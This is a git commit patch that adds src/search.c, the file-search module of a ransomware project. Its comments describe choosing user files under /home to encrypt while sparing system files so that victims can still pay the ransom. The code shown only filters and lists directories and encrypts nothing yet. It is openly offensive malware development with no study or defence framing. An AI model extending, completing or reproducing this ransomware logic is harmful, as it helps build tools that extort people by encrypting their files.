From 1e9915d2ce9baa31506a8c04929d6e44a29f106b Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Mon, 10 Jun 2024 23:19:04 -0500 Subject: Initial Commit --- src/search.c | 72 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 src/search.c (limited to 'src/search.c') diff --git a/src/search.c b/src/search.c new file mode 100644 index 0000000..22e5486 --- /dev/null +++ b/src/search.c @@ -0,0 +1,72 @@ +/*** + * SEARCH + * + * Find valid files to encrypt +*/ + +/* +Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their +shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now) +*/ + +#define _GNU_SOURCE + +#include "search.h" + +#include +#include +#include +#include +#include +#include +#include +#include + +int folderonly(const struct dirent64 *tester) { + // Filter out the current and previous dir macros + if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0) + return 0; + + // Check if the "file" is specifically a dir + struct stat64 sb; + if(stat64(tester->d_name, &sb) < 0) { + error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); + return 0; // Don't try to traverse into a dir that we don't know is a dir or not + } + + // Filter out non dirs + if((sb.st_mode & S_IFMT) != S_IFDIR) + return 0; + + return 1; +} + +int fileonly(const struct dirent64 *tester) { + // Check if the "file" is specifically a dir + struct stat64 sb; + if(stat64(tester->d_name, &sb) < 0) { + error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); + return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten + } + + // Filter out dirs + if((sb.st_mode & S_IFMT) != S_IFREG) + return 0; + + return 1; +} + +int main (void) { + struct dirent64 **eps; + int n; + + n = scandir64("./", &eps, folderonly, alphasort64); + if(n >= 0) { + for(int cnt = 0; cnt < n; cnt++) + puts(eps[cnt]->d_name); + } else { + perror("Couldn't open dir"); + } + + return 0; +} -- cgit v1.2.3